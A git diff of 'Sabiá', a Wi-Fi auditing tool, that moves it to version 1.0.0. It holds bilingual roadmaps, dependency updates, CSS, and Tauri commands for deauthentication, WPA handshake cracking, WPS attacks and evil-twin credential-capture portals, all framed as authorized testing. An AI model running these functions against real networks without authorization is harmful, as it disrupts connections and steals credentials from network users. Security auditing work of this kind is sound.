- Redesigned, paginated **audit report** (cover, table of contents, running header/footer) that prints to PDF from the browser.
- Local hash-chained **audit trail**; `doctor` diagnostics.
- **CLI** + **desktop app** (Tauri) + local UI server; **one-click update**.
## Next
- **Rules and masks** in cracking (hashcat style), beyond the plain dictionary.
- **`22000` export** to take the handshake straight to hashcat/John.
- **GPU** acceleration for PMK derivation.
## Later
- **WPS attack** (PIN/Pixie Dust) in authorized testing.
- **Rogue AP / evil twin** for client assessment, with authorization.
- **Capture on Windows** via Npcap.
## Long term
## Later
- **WPA3/SAE**: detection and downgrade paths where applicable.
- Validation on **varied hardware** (chipsets and regulatory domains).
- Signing of release binaries (SmartScreen/Gatekeeper).
## Long term
- GPU-accelerated cracking backend (hashcat integration beyond export).
- Packaged distribution (`apt`/`brew`/winget).
+18 -15
View File
@@ -2,34 +2,37 @@
[English](ROADMAP.md) · **Português**
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário offline e testa desautenticação com autorização. Sempre de uso autorizado, com trilha de auditoria local.
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário/regras/máscara, avalia exposição a WPS, PMF e evil twin, e testa desautenticação e ataques de rogue AP com autorização. Sempre de uso autorizado, com trilha de auditoria local.
## Feito (0.1.0)
## Feito (1.0.0)
- Controle de **modo monitor** e de canal por netlink/`iw`.
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal e segurança.
- Controle de **modo monitor** e de canal por netlink/`iw`, com recuperação automática quando o NetworkManager tenta retomar a interface.
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal, segurança, detalhes de WPS, fabricante e padrão PHY.
- Captura crua de 802.11 por **AF_PACKET** (sem libpcap), parsing de **radiotap** e de quadros de gerenciamento.
- Captura de **4-way handshake (EAPOL)** e de **PMKID**.
- **Quebra offline** por dicionário (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK.
- Captura de **4-way handshake (EAPOL)** e de **PMKID**; **decriptação de tráfego CCMP** quando a senha é conhecida.
- **Quebra offline** (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK: dicionário padrão de 9,7 milhões de senhas (rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara**.
- **Exportação `.hc22000`** para levar o handshake direto ao hashcat/John.
- Escrita e leitura de **`.pcap`**; análise de `.pcap` offline.
- **`deauth`** autorizado (flag `--yes`).
- **`deauth`** autorizado (flag `--yes`), jobs direcionais e contínuos, teste de PMF, caça de PMKID sem cliente.
- **Ataque WPS** (PIN/Pixie Dust) via reaver embutido, ou bully quando instalado.
- **Evil Twin** com portal cativo para WPA/WPA2-PSK (senha só aceita após verificação criptográfica contra o handshake real) e variante de captura automática de credencial para WPA2/WPA3-Enterprise (802.1X/EAP).
- Pontuação de interferência de canais e achados de segurança (rede aberta, sem PMF, WPS exposto, possível evil twin).
- **Relatório de auditoria** redesenhado e paginado (capa, sumário, cabeçalho/rodapé corridos) que imprime em PDF pelo navegador.
- **Trilha de auditoria** local encadeada por hash; `doctor` de diagnóstico.
- **CLI** + **app desktop** (Tauri) + servidor local da UI; **atualização em um clique**.
## Próximo
- **Regras e máscaras** na quebra (estilo hashcat), além do dicionário puro.
- **Exportação `22000`** para levar o handshake direto ao hashcat/John.
- Aceleração por **GPU** na derivação da PMK.
## Depois
- **Ataque a WPS** (PIN/Pixie Dust) em teste autorizado.
- **Rogue AP / evil twin** para avaliação de clientes, com autorização.
- **Captura em Windows** via Npcap.
## Longo prazo
## Depois
- **WPA3/SAE**: detecção e caminhos de _downgrade_ onde aplicável.
- Validação em **hardware variado** (chipsets e _regulatory domains_).
- Assinatura dos binários de release (SmartScreen/Gatekeeper).
## Longo prazo
- Backend de quebra acelerado por GPU (integração com hashcat além da exportação).
- Distribuição empacotada (`apt`/`brew`/winget).
+34 -2
View File
@@ -8,6 +8,17 @@ version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
[[package]]
name = "aes"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
dependencies = [
"cfg-if",
"cipher",
"cpufeatures",
]
[[package]]
name = "aho-corasick"
version = "1.1.5"
@@ -322,6 +333,16 @@ dependencies = [
"windows-link",
]
[[package]]
name = "cipher"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
dependencies = [
"crypto-common",
"inout",
]
[[package]]
name = "combine"
version = "4.6.9"
@@ -1474,6 +1495,15 @@ dependencies = [
"cfb",
]
[[package]]
name = "inout"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
dependencies = [
"generic-array",
]
[[package]]
name = "ipnet"
version = "2.12.2"
@@ -2508,8 +2538,10 @@ checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"
[[package]]
name = "sabia-core"
version = "0.1.0"
version = "1.0.0"
dependencies = [
"aes",
"flate2",
"hmac",
"libc",
"md-5",
@@ -2523,7 +2555,7 @@ dependencies = [
[[package]]
name = "sabia-gui"
version = "0.1.0"
version = "1.0.0"
dependencies = [
"libc",
"sabia-core",
+1 -1
View File
@@ -3,7 +3,7 @@
[package]
name = "sabia-gui"
description = "Sabiá: interface gráfica de auditoria de Wi-Fi"
version = "0.1.0"
version = "1.0.0"
edition = "2021"
license = "MIT OR Apache-2.0"
repository = "https://github.com/lucasrguerra/sabia"
+533 -11
View File
@@ -1,7 +1,7 @@
// Evita a janela de console extra no Windows em release.
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
use sabia_core::engine::Engine;
use sabia_core::engine::{Engine, ScanOptions};
use std::sync::Arc;
struct State(Arc<Engine>);
@@ -19,7 +19,10 @@ fn list_ifaces(state: tauri::State<'_, State>) -> Result<serde_json::Value, Stri
#[tauri::command]
fn set_monitor(state: tauri::State<'_, State>, iface: String, enable: bool) -> Result<(), String> {
state.0.set_monitor(&iface, enable).map_err(|e| e.to_string())
state
.0
.set_monitor(&iface, enable)
.map_err(|e| e.to_string())
}
#[tauri::command]
@@ -33,10 +36,465 @@ fn stop_scan(state: tauri::State<'_, State>, iface: String) {
}
#[tauri::command]
fn scan_results(state: tauri::State<'_, State>, iface: String) -> Result<serde_json::Value, String> {
fn scan_results(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.scan_results(&iface)).map_err(|e| e.to_string())
}
#[tauri::command]
fn scan_snapshot(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
let snapshot = state.0.scan_snapshot(&iface).map_err(|e| e.to_string())?;
serde_json::to_value(snapshot).map_err(|e| e.to_string())
}
#[tauri::command]
fn scan_clients(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.scan_clients(&iface)).map_err(|e| e.to_string())
}
#[tauri::command]
fn handshakes(
state: tauri::State<'_, State>,
iface: Option<String>,
) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.handshakes(iface.as_deref())).map_err(|e| e.to_string())
}
#[tauri::command]
fn export_handshake(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_handshake(&iface, &bssid, &station, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn export_all_handshakes(
state: tauri::State<'_, State>,
iface: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_all_handshakes(&iface, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_crack(
state: tauri::State<'_, State>,
iface: String,
wordlist: Option<String>,
bssid: Option<String>,
station: Option<String>,
rules: Option<bool>,
) -> Result<String, String> {
let rules = rules.unwrap_or(false);
let result = match wordlist.filter(|w| !w.trim().is_empty()) {
Some(wordlist) => state.0.start_crack(
&iface,
bssid.as_deref(),
station.as_deref(),
&wordlist,
rules,
),
None => state
.0
.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules),
};
result.map_err(|e| e.to_string())
}
#[tauri::command]
fn start_crack_mask(
state: tauri::State<'_, State>,
iface: String,
mask: String,
bssid: Option<String>,
station: Option<String>,
max_candidates: Option<u64>,
) -> Result<String, String> {
state
.0
.start_crack_mask(
&iface,
bssid.as_deref(),
station.as_deref(),
&mask,
max_candidates.unwrap_or(50_000_000),
)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn crack_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.crack_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job não encontrado".into()),
}
}
#[tauri::command]
fn crack_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.crack_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn deauth(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
count: Option<u32>,
reason: Option<u16>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.deauth(
&iface,
&bssid,
station.as_deref(),
count.unwrap_or(5),
reason.unwrap_or(7),
)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
#[allow(clippy::too_many_arguments)]
fn deauth_directional(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
count: Option<u32>,
reason: Option<u16>,
direction: Option<String>,
frame_kind: Option<String>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.deauth_directional(
&iface,
&bssid,
station.as_deref(),
count.unwrap_or(5),
reason.unwrap_or(7),
direction.as_deref().unwrap_or("ap"),
frame_kind.as_deref().unwrap_or("deauth"),
)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
#[allow(clippy::too_many_arguments)]
fn start_deauth_job(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
reason: Option<u16>,
direction: Option<String>,
frame_kind: Option<String>,
interval_ms: Option<u64>,
max_secs: Option<u64>,
stop_on_handshake: Option<bool>,
) -> Result<String, String> {
state
.0
.start_deauth_job(
&iface,
&bssid,
station.as_deref(),
reason.unwrap_or(7),
direction.as_deref().unwrap_or("both"),
frame_kind.as_deref().unwrap_or("deauth"),
interval_ms.unwrap_or(120),
max_secs,
stop_on_handshake.unwrap_or(false),
)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_deauth_job(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state.0.stop_deauth_job(&id).map_err(|e| e.to_string())
}
#[tauri::command]
fn deauth_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.deauth_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job de deauth não encontrado".into()),
}
}
#[tauri::command]
fn deauth_jobs(
state: tauri::State<'_, State>,
iface: Option<String>,
) -> Result<serde_json::Value, String> {
let jobs = state.0.deauth_jobs();
let jobs: Vec<_> = match iface {
Some(iface) => jobs
.into_iter()
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
.collect(),
None => jobs,
};
serde_json::to_value(jobs).map_err(|e| e.to_string())
}
#[tauri::command]
fn capture_handshake(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
seconds: Option<u64>,
) -> Result<String, String> {
state
.0
.capture_handshake(&iface, &bssid, station.as_deref(), seconds)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn report(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
serde_json::to_value(model).map_err(|e| e.to_string())
}
#[tauri::command]
fn report_html(
state: tauri::State<'_, State>,
iface: String,
inline: Option<bool>,
) -> Result<String, String> {
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
let options = sabia_core::report::ReportOptions {
inline_pagedjs: inline.unwrap_or(false),
..Default::default()
};
Ok(sabia_core::report::render(&model, options))
}
#[tauri::command]
fn export_hc22000(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_hc22000(&iface, &bssid, &station, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn export_all_hc22000(
state: tauri::State<'_, State>,
iface: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_all_hc22000(&iface, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn pmkid_hunt(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
attempts: Option<u32>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.pmkid_hunt(&iface, &bssid, attempts.unwrap_or(5))
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn pmf_test(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: String,
reason: Option<u16>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.pmf_test(&iface, &bssid, &station, reason.unwrap_or(7))
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn wps_tools(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.wps_tools()).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_wps(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
channel: u32,
tool: String,
pin: Option<String>,
) -> Result<String, String> {
state
.0
.start_wps(&iface, &bssid, channel, &tool, pin.as_deref())
.map_err(|e| e.to_string())
}
#[tauri::command]
fn wps_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.wps_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job WPS não encontrado".into()),
}
}
#[tauri::command]
fn wps_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.wps_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_wps(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state.0.stop_wps(&id).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_evil_twin(
state: tauri::State<'_, State>,
iface: String,
ap_iface: String,
bssid: String,
portal_port: Option<u16>,
deauth: Option<bool>,
) -> Result<String, String> {
state
.0
.start_evil_twin(
&iface,
&ap_iface,
&bssid,
portal_port.unwrap_or(8080),
deauth.unwrap_or(false),
)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn eviltwin_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.eviltwin_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job de Evil Twin não encontrado".into()),
}
}
#[tauri::command]
fn eviltwin_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.eviltwin_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_evil_twin(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state.0.stop_evil_twin(&id).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_evil_twin_enterprise(
state: tauri::State<'_, State>,
iface: String,
ap_iface: String,
bssid: String,
) -> Result<String, String> {
state
.0
.start_evil_twin_enterprise(&iface, &ap_iface, &bssid)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn eviltwin_enterprise_job(
state: tauri::State<'_, State>,
id: String,
) -> Result<serde_json::Value, String> {
match state.0.enterprise_twin_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job de Evil Twin Enterprise não encontrado".into()),
}
}
#[tauri::command]
fn eviltwin_enterprise_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.enterprise_twin_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_evil_twin_enterprise(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state
.0
.stop_evil_twin_enterprise(&id)
.map_err(|e| e.to_string())
}
#[tauri::command]
#[allow(clippy::too_many_arguments)]
fn start_scan_opts(
state: tauri::State<'_, State>,
iface: String,
channel: Option<u32>,
band: Option<String>,
hop_ms: Option<u64>,
pcap_out: Option<String>,
seconds: Option<u64>,
) -> Result<(), String> {
let options = ScanOptions {
channel,
band,
hop_ms: hop_ms.unwrap_or(350),
pcap_out: pcap_out.map(Into::into),
duration_secs: seconds,
};
state
.0
.start_scan_with(&iface, options)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn update_check(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
let status = state.0.update_check().map_err(|e| e.to_string())?;
@@ -85,7 +543,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
let exe = elevated_exe()?;
let log = std::env::temp_dir().join(format!("sabia-elevate-{}.log", std::process::id()));
let _ = std::fs::write(&log, b"");
let out = std::fs::OpenOptions::new().append(true).open(&log).map_err(|e| e.to_string())?;
let out = std::fs::OpenOptions::new()
.append(true)
.open(&log)
.map_err(|e| e.to_string())?;
let err = out.try_clone().map_err(|e| e.to_string())?;
let pid = std::process::id().to_string();
@@ -93,7 +554,14 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
let mut cmd = {
let mut c = std::process::Command::new("pkexec");
c.arg("/usr/bin/env");
for k in ["DISPLAY", "WAYLAND_DISPLAY", "XAUTHORITY", "XDG_RUNTIME_DIR", "DBUS_SESSION_BUS_ADDRESS", "GDK_BACKEND"] {
for k in [
"DISPLAY",
"WAYLAND_DISPLAY",
"XAUTHORITY",
"XDG_RUNTIME_DIR",
"DBUS_SESSION_BUS_ADDRESS",
"GDK_BACKEND",
] {
if let Ok(v) = std::env::var(k) {
c.arg(format!("{k}={v}"));
}
@@ -104,14 +572,23 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
};
#[cfg(target_os = "macos")]
let mut cmd = {
let shell = format!("SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &", pid, exe.display());
let script = format!("do shell script \"{}\" with administrator privileges", shell.replace('\\', "\\\\").replace('"', "\\\""));
let shell = format!(
"SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &",
pid,
exe.display()
);
let script = format!(
"do shell script \"{}\" with administrator privileges",
shell.replace('\\', "\\\\").replace('"', "\\\"")
);
let mut c = std::process::Command::new("osascript");
c.args(["-e", &script]);
c
};
cmd.stdout(out).stderr(err);
let mut child = cmd.spawn().map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
let mut child = cmd
.spawn()
.map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
std::thread::spawn(move || {
let status = child.wait();
if matches!(&status, Ok(s) if s.success()) {
@@ -122,7 +599,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
let msg = match status.ok().and_then(|s| s.code()) {
Some(126) => "Autorização cancelada.".to_string(),
Some(127) => "Não foi possível autenticar como administrador.".to_string(),
_ => format!("Não foi possível reiniciar como administrador. {}", detail.lines().last().unwrap_or("").trim()),
_ => format!(
"Não foi possível reiniciar como administrador. {}",
detail.lines().last().unwrap_or("").trim()
),
};
let _ = app.emit("elevate-failed", msg);
let _ = std::fs::remove_file(&log);
@@ -135,7 +615,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
/// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`).
#[cfg(any(target_os = "linux", target_os = "macos"))]
fn elevated_exe() -> Result<std::path::PathBuf, String> {
if let Some(p) = std::env::var_os("APPIMAGE").map(std::path::PathBuf::from).filter(|p| p.is_file()) {
if let Some(p) = std::env::var_os("APPIMAGE")
.map(std::path::PathBuf::from)
.filter(|p| p.is_file())
{
return Ok(p);
}
std::env::current_exe().map_err(|e| e.to_string())
@@ -148,7 +631,10 @@ fn main() {
.setup(|app| {
// Quando abrimos elevados a pedido do app normal, ele fecha o app antigo.
#[cfg(unix)]
if let Some(pid) = std::env::var("SABIA_REPLACE_PID").ok().and_then(|p| p.parse::<i32>().ok()) {
if let Some(pid) = std::env::var("SABIA_REPLACE_PID")
.ok()
.and_then(|p| p.parse::<i32>().ok())
{
std::thread::spawn(move || {
std::thread::sleep(std::time::Duration::from_millis(1200));
// SAFETY: só envia SIGTERM ao processo anterior do próprio usuário.
@@ -180,6 +666,42 @@ fn main() {
start_scan,
stop_scan,
scan_results,
scan_snapshot,
scan_clients,
handshakes,
export_handshake,
export_all_handshakes,
start_crack,
start_crack_mask,
crack_job,
crack_jobs,
deauth,
deauth_directional,
start_deauth_job,
stop_deauth_job,
deauth_job,
deauth_jobs,
capture_handshake,
report,
report_html,
export_hc22000,
export_all_hc22000,
pmkid_hunt,
pmf_test,
wps_tools,
start_wps,
wps_job,
wps_jobs,
stop_wps,
start_evil_twin,
eviltwin_job,
eviltwin_jobs,
stop_evil_twin,
start_evil_twin_enterprise,
eviltwin_enterprise_job,
eviltwin_enterprise_jobs,
stop_evil_twin_enterprise,
start_scan_opts,
update_check,
update_apply,
is_elevated,
+2 -2
View File
@@ -1,7 +1,7 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "Sabia",
"version": "0.1.0",
"version": "1.0.0",
"identifier": "dev.sabia.app",
"build": {
"frontendDist": "../ui"
@@ -19,7 +19,7 @@
}
],
"security": {
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'none'; object-src 'none'"
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'self' data: blob:; object-src 'none'"
}
},
"bundle": {
+285 -13
View File
@@ -68,6 +68,7 @@
:root[data-theme="dark"] { color-scheme: dark; }
* { box-sizing: border-box; }
[hidden] { display: none !important; }
html, body { height: 100%; }
body {
margin: 0; background: var(--bg); color: var(--text);
@@ -104,17 +105,27 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
padding: 9px 10px; border-radius: 12px; transition: background .15s;
}
.dev:hover { background: color-mix(in srgb, var(--text) 6%, transparent); }
.dev[aria-current="true"] { background: var(--accent-soft); }
.dev[aria-current="true"], .dev[aria-pressed="true"] { background: var(--accent-soft); }
.dev .ico { width: 34px; height: 34px; border-radius: 9px; display: grid; place-items: center; background: var(--surface); box-shadow: 0 0 0 1px var(--line); color: var(--text-2); }
.dev[aria-current="true"] .ico { color: var(--accent); }
.dev[aria-current="true"] .ico, .dev[aria-pressed="true"] .ico { color: var(--accent); }
.dev .t { display: block; font-weight: 600; font-size: 14px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.dev .s { display: block; font-size: 11.5px; color: var(--text-2); font-family: var(--mono); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.side-foot { margin-top: auto; padding: 14px 10px 4px; font-size: 11.5px; color: var(--text-3); display: flex; justify-content: space-between; gap: 8px; }
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; text-decoration: underline; text-underline-offset: 2px; }
.iface-pick { display: flex; flex-direction: column; align-items: stretch; gap: 8px; padding: 0 10px 4px; }
.iface-pick .select { width: 100%; min-width: 0; }
.iface-pick .pill { align-self: flex-start; }
.side-foot { margin-top: auto; padding: 14px 4px 4px; font-size: 11.5px; color: var(--text-3); display: grid; gap: 8px; }
.foot-row { display: flex; align-items: center; justify-content: space-between; gap: 8px; }
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; }
.side-foot .foot-row > button:not(.icon-btn) { text-decoration: underline; text-underline-offset: 2px; }
.side-foot button:hover { color: var(--text-2); }
.lang-sel { background: transparent; border: 0; color: var(--text-3); font-size: 11.5px; cursor: pointer; }
.lang-sel:hover { color: var(--text-2); }
.icon-btn { width: 30px; height: 30px; border-radius: 9px; display: inline-grid; place-items: center; padding: 0; }
.icon-btn:hover { background: color-mix(in srgb, var(--text) 8%, transparent); }
.theme-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); }
.theme-switch button { border: 0; background: transparent; cursor: pointer; padding: 4px 9px; border-radius: 999px; font-size: 11.5px; color: var(--text-2); }
.theme-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .18); font-weight: 600; }
.main { overflow-y: auto; min-width: 0; }
.page { max-width: 1040px; margin: 0 auto; padding: 30px 36px 100px; animation: rise .35s cubic-bezier(.2, .8, .2, 1); }
@@ -133,6 +144,9 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
/* ------------------------------------------------------------ aviso */
.notice { display: flex; gap: 10px; background: var(--surface); border-radius: 12px; padding: 12px 14px; box-shadow: var(--shadow); font-size: 13px; color: var(--text-2); margin-bottom: 20px; align-items: flex-start; }
.notice svg { flex: none; margin-top: 2px; color: var(--warn); }
.notice.warn { background: var(--warn-soft); } .notice.warn svg { color: var(--warn); }
.notice.bad { background: var(--bad-soft); } .notice.bad svg { color: var(--bad); }
.notice b { color: var(--text); }
/* ------------------------------------------------------------ controles */
.controls { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); padding: 16px 18px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 22px; }
@@ -153,23 +167,57 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
.btn.live:hover { filter: brightness(1.06); }
/* ------------------------------------------------------------ tabela */
.result-head { display: flex; align-items: baseline; justify-content: space-between; margin: 4px 2px 10px; }
.result-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin: 4px 2px 10px; }
.result-summary { display: flex; align-items: baseline; gap: 10px; min-width: 0; }
.result-head strong { font-size: 15px; }
.result-head span { color: var(--text-3); font-size: 12.5px; }
.result-summary span { color: var(--text-3); font-size: 12.5px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.result-tools { display: flex; align-items: center; gap: 8px; }
.result-tools .filter { border: 0; border-radius: 10px; padding: 7px 12px; width: 210px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
.result-tools .filter::placeholder { color: var(--text-3); }
.result-tools .select { width: auto; padding: 7px 10px; border-radius: 10px; font-size: 12.5px; }
.ap-card { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); overflow: hidden; }
.net-card { overflow-x: auto; }
table { width: 100%; border-collapse: collapse; }
thead th { text-align: left; padding: 11px 14px; font-size: 10.5px; color: var(--text-3); text-transform: uppercase; letter-spacing: .06em; font-weight: 600; border-bottom: 1px solid var(--line); }
tbody td { padding: 10px 14px; font-size: 13px; border-bottom: 1px solid var(--line); vertical-align: middle; }
tbody tr:last-child td { border-bottom: 0; }
tbody tr:hover { background: var(--surface-2); }
td.bssid { font-family: var(--mono); font-size: 12px; color: var(--text-2); }
td.ssid { font-weight: 600; }
td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.sec-tag { font-size: 11.5px; font-weight: 600; padding: 2px 8px; border-radius: 999px; }
.sec-aberta { background: var(--bad-soft); color: var(--bad); }
.sec-wep { background: var(--warn-soft); color: var(--warn); }
.sec-wpa, .sec-wpa2, .sec-wpa3 { background: var(--ok-soft); color: var(--ok); }
/* rede agrupada por ESSID; cada BSSID vira uma linha expansível */
.caret-cell { width: 34px; padding-left: 10px; padding-right: 0; }
.expander { width: 26px; height: 26px; border: 0; border-radius: 8px; background: transparent; color: var(--text-3); cursor: pointer; display: inline-grid; place-items: center; padding: 0; }
.expander:hover { background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text); }
.expander svg { transition: transform .18s; }
.net-row.open .expander svg { transform: rotate(90deg); }
.net-row.open > td { background: color-mix(in srgb, var(--text) 3%, transparent); }
.net-name .ssid { display: block; font-weight: 600; line-height: 1.25; }
.net-name .ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.net-sub { display: flex; flex-wrap: wrap; gap: 4px; margin-top: 3px; }
.flag { font-size: 10px; font-weight: 700; letter-spacing: .03em; padding: 1px 6px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text-2); white-space: nowrap; }
.flag-warn { background: var(--warn-soft); color: var(--warn); }
.net-sec .sec-tag + .sec-tag { margin-left: 4px; }
.net-chan .chans { font-variant-numeric: tabular-nums; font-weight: 600; }
.net-band { display: block; font-size: 10.5px; color: var(--text-3); }
.net-signal, .net-clients { white-space: nowrap; font-variant-numeric: tabular-nums; }
.net-clients { color: var(--text-2); }
.detail-row td { padding: 4px 14px 10px 46px; background: var(--surface-2); }
.detail-row:hover { background: transparent; }
.bssid-list { display: grid; gap: 1px; }
.bssid-item { display: grid; grid-template-columns: minmax(150px, 1.4fr) 132px 112px minmax(92px, .8fr) 84px 1fr; gap: 10px; align-items: center; padding: 6px 8px; border-radius: 8px; font-size: 12.5px; }
.bssid-item:hover { background: color-mix(in srgb, var(--text) 4%, transparent); }
.bssid { color: var(--text-2); font-size: 11.5px; }
